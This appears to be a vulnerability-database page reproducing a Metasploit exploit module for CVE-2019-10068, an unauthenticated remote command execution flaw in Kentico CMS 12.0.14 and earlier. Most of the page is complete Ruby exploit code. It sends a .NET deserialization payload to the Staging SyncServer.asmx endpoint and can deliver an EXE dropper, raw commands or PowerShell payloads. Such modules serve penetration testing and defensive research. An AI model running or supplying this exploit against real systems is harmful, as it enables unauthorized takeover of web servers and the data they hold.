Lucene search
K

Kentico CMS 12.0.14 Remote Command Execution

🗓️ 06 May 2020 00:00:00Reported by aushackType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 1009 Views

Kentico CMS 12.0.14 Remote Command Execution module for unauthenticated XML requests to Staging Service SyncServer.asm

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Deserialization of Untrusted Data in Kentico Xperience
11 Mar 202602:09
githubexploit
0day.today
Kentico CMS 12.0.14 Remote Command Execution Exploit
7 May 202000:00
zdt
ATTACKERKB
CVE-2019-10068
26 Mar 201900:00
attackerkb
Circl
CVE-2019-10068
6 May 202014:27
circl
CISA KEV Catalog
Kentico Xperience Deserialization of Untrusted Data Vulnerability
25 Mar 202200:00
cisa_kev
CNVD
Kentico Code Issue Vulnerability
13 May 202000:00
cnvd
Check Point Advisories
Kentico CMS Remote Code Execution (CVE-2019-10068)
21 Nov 202200:00
checkpoint_advisories
CVE
CVE-2019-10068
26 Mar 201917:43
cve
Cvelist
CVE-2019-10068
26 Mar 201917:43
cvelist
Tenable Nessus
Kentico CMS 9.x / 10.x < 10.0.52 / 11.x < 11.0.48 / 12.x < 12.0.15 RCE
7 Oct 202000:00
nessus
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Powershell  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Kentico CMS Staging SyncServer Unserialize Remote Command Execution',  
'Description' => %q{  
This module exploits a vulnerability in the Kentico CMS platform versions 12.0.14 and earlier.  
Remote Command Execution is possible via unauthenticated XML requests to the Staging Service  
SyncServer.asmx interface ProcessSynchronizationTaskData method stagingTaskData parameter. XML  
input is passed to an insecure .NET deserialize call which allows for remote command execution.  
},  
'DisclosureDate' => '2019-04-15',  
'Author' =>  
[  
'Manoj Cherukuri', # Discovery  
'Justin LeMay', # Discovery  
'aushack', # msf exploit  
],  
'References' =>  
[  
['CVE', '2019-10068'],  
['URL', 'https://www.aon.com/cyber-solutions/aon_cyber_labs/unauthenticated-remote-code-execution-in-kentico-cms/']  
],  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Payload' => { 'DisableNops' => true },  
'Targets' => [  
[ 'Windows EXE Dropper',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :windows_dropper  
],  
[ 'Windows Command',  
'Arch' => ARCH_CMD,  
'Type' => :windows_command,  
'Space' => 3000  
],  
[ 'Windows Powershell',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :windows_powershell  
]  
]  
))  
  
register_options([  
OptString.new('TARGETURI', [ true, 'Path to SyncServer.asmx', '/CMSPages/Staging/SyncServer.asmx']),  
Opt::RPORT(80)  
])  
end  
  
def check  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path),  
'method' => 'GET'  
})  
  
if res && res.body =~ /SyncServer Web Service/i # SOAP endpoint disco / WSDL  
return CheckCode::Detected  
end  
  
return CheckCode::Safe  
end  
  
def exploit  
case target['Type']  
when :windows_command  
execute_command(payload.encoded)  
when :windows_dropper  
cmd_target = targets.select {|target| target['Type'] == :windows_command}.first  
execute_cmdstager({linemax: cmd_target.opts['Space']})  
when :windows_powershell  
execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))  
end  
end  
  
def execute_command(cmd, opts = {})  
sploit = ::Msf::Util::DotNetDeserialization.generate(  
cmd,  
gadget_chain: :WindowsIdentity,  
formatter: :SoapFormatter  
)  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/ProcessSynchronizationTaskData'),  
'method' => 'POST',  
'vars_post' => {'stagingTaskData' => sploit}  
})  
  
unless res && res.body.include?('Unable to cast object of type')  
fail_with(Failure::UnexpectedReply, 'The payload was rejected')  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation